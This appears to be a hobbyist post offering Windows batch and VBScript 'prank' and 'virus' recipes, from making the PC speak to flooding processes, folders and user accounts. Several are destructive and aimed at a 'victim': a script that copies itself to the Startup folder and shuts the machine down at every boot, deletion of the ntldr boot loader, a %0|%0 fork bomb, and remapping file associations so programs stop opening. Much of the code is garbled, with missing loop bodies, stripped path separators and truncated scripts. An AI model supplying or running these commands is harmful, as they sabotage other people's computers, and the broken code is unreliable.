1)To make your pc talk
Open a text file in notepad and write:
Dim msg, sapi
msg=InputBox(“Enter your text”,”Talk it”)
Save the file with a (*.vbs) extension, it will create a VBScript File.
It will prompt you for a text when u open the file, input the text and press ok.”
u will hear now what u typed..
2)Popping CD Drives
This will make the CD drives constantly pop out
Set oWMP = CreateObject(”WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
For i = 0 to colCDROMs.Count – 1
This will pop up endless notepads until the computer freezes and crashes
@echo off // It instructs to hide the commands when batch files is executed
😡 //loop variable
start mspaint //open paint
start cmd //open command prompt
start calc // open calculator
goto x // infinite loop
This code when executed will start open different applications like paint,notepad,command prompt repeatedly, irritating victim and ofcourse affecting performance.
3) Folder flooder
md %random% // makes directory/folder.
Here %random% is a variable that would generate a positive no. randomly. So this code would make start creating folders whose name can be any random number.
4) User account flooder
net user %random% /add //create user account
This code would start creating windows user accounts whose names could be any random numbers.
5) Shutdown Virus
copy anything.bat “C:Documents and SettingsAdministratorStart MenuProgramsStartup”
copy anything.bat “C:Documents and SettingsAll UsersStart MenuProgramsStartup” //these two commands will copy the batchfile in start up folders (in XP)
shutdown -s -t 00 //this will shutdown the computer in 0 seconds
Note : Files in Start up folder gets started automatically when windows starts . You should first two lines of code in every virus code so that it would copy itself in startup folder. Start up folder path in Windows 7 is C:UserssysAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup
Everytime the victim would start the computer, the batch file in start up would run and shutdown the computer immediately. You can remove this virus by booting the computer in Safe Mode and deleting the batch file from Start Up folder.
6) Deleting boot files
Goto C drive in Win XP , Tools->Folder Option->View
Now Uncheck the option ‘Hide operating system files’ and check option ‘Show hidden files and folders’. Click apply
Now you can see the operating system files. There is a one file ‘ntldr’ which is boot loader used to boot the windows.
Lets make a batch file to
delete this file from victim’s computer and the windows will not start then.
attrib -S -R -H C:ntldr // -S,-R,-H to clear system file attribute, read only attribute , hidden file attribute respectively
del ntldr //delete ntldr file
After running this batch file , system will not reboot and a normal victim would definitely install the windows again.
7) Fork Bomb
%0|%0 //Its percentage zero pipe percentage zero
This code creates a large number of processes very quickly in order to saturate the process table of windows. It will just hang the windows .
8) Extension Changer
assoc .txt=anything // this command associates extension .txt with filetype anything.
Every extension is associated with a filetype like extension ‘exe’ is is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.
Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.
9) How To Make Keyboard LED Dance ?
*Open Notepad and copy below codes into it.
Set wshShell =wscript.CreateObject(“WScript.Shell”)
* Then save this file as led.vbs (.vbs is must)
* Open your save file and see your keyboard led blinking like disco lights.
How To Disable Blinking LED ?
* First open Task Manager (ctrl+alt+del)
* Then Go to process tab.
* Select wscript.exe
* Click on End process.